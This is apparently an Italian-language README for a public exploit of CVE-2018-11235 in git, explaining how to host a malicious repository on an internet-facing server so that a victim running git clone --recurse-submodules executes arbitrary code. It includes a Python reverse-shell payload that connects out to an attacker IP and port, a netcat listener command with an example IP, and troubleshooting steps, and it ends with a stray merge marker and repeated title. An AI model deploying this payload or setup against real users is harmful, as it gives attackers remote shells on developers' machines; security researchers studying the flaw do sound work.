
Sfrutta CVE-2018-11235
Titolo Exploit: Clone and Pwn
Data: 4 giugno 2018
Autore Exploit: Alejandro Caceres
Homepage del Venditore: https://git-scm.com/
Link Software: https://git-scm.com/downloads
Versione: codice arbitrario viene eseguito sulle versioni del client git precedenti a 2.13.7, 2.14.x precedenti a 2.14.4, 2.15.x precedenti a 2.15.2, 2.16.x precedenti a 2.16.4 e 2.17.x precedenti a 2.17.1
Testato su: Linux: Ubuntu, Mint, MacOSX
CVE : CVE-2018-11235
CVE-2018-11235, qui soprannominato clone and pwn, crea un repository git malevolo che sfrutta un bug in git. Quando il repository viene clonato usando il flag --recurse-submodules, viene eseguito codice arbitrario sulle versioni del client git precedenti a 2.13.7, 2.14.x precedenti a 2.14.4, 2.15.x precedenti a 2.15.2, 2.16.x precedenti a 2.16.4 e 2.17.x precedenti a 2.17.1.
Per utilizzare questo modulo è sufficiente posizionarlo su un server con accesso diretto a Internet (es. AWS, Digital Ocean) ed eseguire evil.sh. Apparirà
più o meno così:
#!/usr/bin/python
EXTERN_IP="127.0.0.1"
EXTERN_PORT=8080
#reverse shell to IP EXTERN_IP and port EXTERN_PORT
import socket, subprocess, os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((EXTERN_IP, EXTERN_PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
Imposta EXTERN_IP e EXTERN_PORT sull'IP (esterno) e la porta su cui desideri ricevere la reverse shell. Una reverse shell può essere ricevuta con qualcosa del tipo:
nc -l <EXTERN_IP> EXTERN_PORT ad es. nc -l 193.23.23.32 8080
Oppure con il modulo generic shell di Metasploit. Una volta che l'utente ha eseguito il comando git clone --recurse-submodules git://<tuo ip>/repo dir_destinazione riceverai una reverse shell.
Se hai problemi a eseguirlo più volte (o dopo un tentativo fallito) controlla quanto segue:
ps aux | grep git per assicurarti di non avere già in esecuzione gitdaemon. Termina eventuali processi gitdaemon.Codice derivato da @peff's git patch (cerca il
file di test t/t7415-submodule-names.sh).
Pertanto, questo repository è pubblicato sotto la Licenza Pubblica Generale GNU versione 2.
Correzione aggiuntiva per versioni precedenti di git per gentile concessione di @atorralba (dettagli in questo post).
Questo script è adattato da https://github.com/Rogdham/CVE-2018-11235, molto affetto e credito
=======
Sfrutta CVE-2018-11235
Di @_hyp3ri0n e @mehaase